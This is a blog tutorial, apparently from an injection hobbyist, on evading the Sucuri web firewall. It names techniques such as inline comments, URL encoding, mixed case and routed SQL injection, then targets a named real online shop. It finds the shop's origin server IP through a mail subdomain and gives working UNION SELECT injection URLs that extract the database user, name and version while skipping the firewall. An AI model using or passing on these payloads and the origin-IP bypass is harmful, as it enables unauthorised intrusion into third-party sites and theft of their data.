Bypass Sucuri WebSite Firewall(WAF)

Bypass Sucuri WebSite Firewall(WAF)

In the Name of ALLAH the Most Beneficent and the Merciful

Hello everyone, in this tutorial we'll bypass the latest WAF Sucuri. Which is becoming a pain in the ass to many Inj3ct0rs. Here are the approaches i am going to use in this tutorial. I wont be explaining any of these approaches in depth as they are or will be explained in Guide to WAF Bypass by SecurityIdiots

In this Tutorial we'll use the following Bypass methods to Bypass WAF

Mount Origin Server to Bypass Proxfied WAF
Commenting and Inline Commenting
URL Encoding
Mix Case to Bypass Case Sensitive Filters
Column Separator WAF bypass
Routed SQLi to Bypass WAF

As Sucuri WAF is a proxy between you and the Web server, as shown in the screenshot.

DuDe Click on the image to see full Size Greetings ATN-TeAm

So we have two different approaches to bypass it. Our first approach to Sucuri WAF bypass will be "Ninja Ways to bypass WAF" where we'll find a stealth backdoor and completely avoid facing the WAF and strike our target from a place about which he never thought of. Mainly a Surprize attack, victim have no choice but to lay down the arms.

Our Second Approach will be "Daya Approach" hope you know what i mean. Here we will Bypass WAF like a Boss, in this approach we ll break directly through the WAF and strike the Application on it face. Hell Yeah!!!

So lets start with the first one. Here as you saw above the attacker is on one side WAF in between and then the server. Now just think Server is live and it must be having a live IP isnt it. What is we get that live IP and send our Injection directly to that IP or Mount the Server to that IP, which will allow our request to avoid WAF and reach directly to the Server. Boom!! we are IN. But now the question is how to get the IP address, well there are loads of ways which i will discuss in our WAF bypass guide but not here. As its not a tutorial where we ll explain everything and discuss all the approaches. Here we ll go Point to Point to bypass this Firewall.

We ll use this site to start with "http://www.mbtagifts.com/shop.php?c=4" lets start. We ll use the mail subdomain to find its real IP and inject the site. Ping to "mail.mbtagifts.com" you ll get the IP "50.28.71.142". Now mount the IP in your Host file or proxy or else you can directly use the IP to inject this site. Here i will use that:
http://50.28.71.142/shop.php?c=4'http://50.28.71.142/shop.php?c=4' order by 31--+
http://50.28.71.142/shop.php?c=4' and false UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 ,21,22,23,24,25,26,27,28,29,30--+
http://50.28.71.142/shop.php?c=4' and false UNION SELECT 1,2,3,4,5,concat%0a(0x4e616d65203a3a205a656e3c6272 3e55736572203a3a20,user(),0x3c62723e4462203a3a20,D atabase(),0x3c62723e56657273696f6e203a3a20,version (),0x3c62723e),7,8,9,10,11,12,13,14,15,16,17,18,19 ,20,21,22,23,24,25,26,27,28,29,30--+ Am sure your reaction about this will be :

Sucuri WAF Bypass Complete

Bypass Sucuri WebSite Firewall(WAF)

Related : Bypass Sucuri WebSite Firewall(WAF)

0 comments:

Post a Comment

Popular Posts

Labels